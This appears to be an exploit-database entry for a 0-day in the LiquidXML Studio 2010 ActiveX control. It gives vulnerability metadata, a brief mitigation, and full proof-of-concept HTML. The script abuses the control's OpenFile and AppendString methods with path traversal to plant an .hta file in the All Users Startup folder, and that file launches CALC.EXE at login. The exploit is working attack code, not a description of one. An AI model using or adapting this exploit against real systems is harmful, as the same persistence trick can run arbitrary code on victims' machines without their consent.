LiquidXML Studio 2010 ActiveX Insecure Method Executable File Creation 0-day

vendor:

Liquid XML Studio 2010

by:

Dr_IDE

9,3

CVSS

HIGH

Insecure Method Executable File Creation

264

CWE

Product Name: Liquid XML Studio 2010

Affected Version From: LiquidXML Studio 2010

Affected Version To: LiquidXML Studio 2010

Patch Exists: No

Related CWE: N/A

CPE: a:liquid_technologies:liquid_xml_studio_2010

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Windows

2010

LiquidXML Studio 2010 ActiveX Insecure Method Executable File Creation 0-day

This exploit allows an attacker to create an executable file on the victim's system by using the ActiveX object 'E68E401C-7DB0-4F3A-88E1-159882468A79' and the 'OpenFile' and 'AppendString' methods. The exploit code creates a file called 'the_doctor_is_in.hta' in the 'Startup' folder of the 'All Users' profile, and then appends a malicious script to it. The malicious script will execute 'CALC.EXE' on the victim's system.

Mitigation:

Disable ActiveX objects, or set the 'KillBit' for the vulnerable object.

Source

Exploit-DB raw data:

<html>
<object classid='clsid:E68E401C-7DB0-4F3A-88E1-159882468A79' id='target'/></object>
<script>
var sofa = "..\\..\\..\\..\\..\\..\\..\\..\\..\\Documents and Settings\\All Users\\Start Menu\\Programs\\Startup\\the_doctor_is_in.hta";
var king = "Oh noz, Look what Dr_IDE did...<" + "SCRIPT> var x=new ActiveXObject(\"WScript.Shell\"); x.Exec(\"CALC.EXE\"); <" +"/SCRIPT>";
target.OpenFile(sofa,1);
target.AppendString(king);
</script>
<body>
LiquidXML Studio 2010 ActiveX Insecure Method Executable File Creation 0-day<br>
By: Dr_IDE<br>
GUID: {E68E401C-7DB0-4F3A-88E1-159882468A79}<br>
Number of Interfaces: 1<br>
Default Interface: _FtpLibrary<br>
RegKey Safe for Script: False<br>
RegkeySafe for Init: False<br>
KillBitSet: False<br>
<br>
<br>
<br>
Been sitting on this one so long it could've hatched twice.
</body>
</html>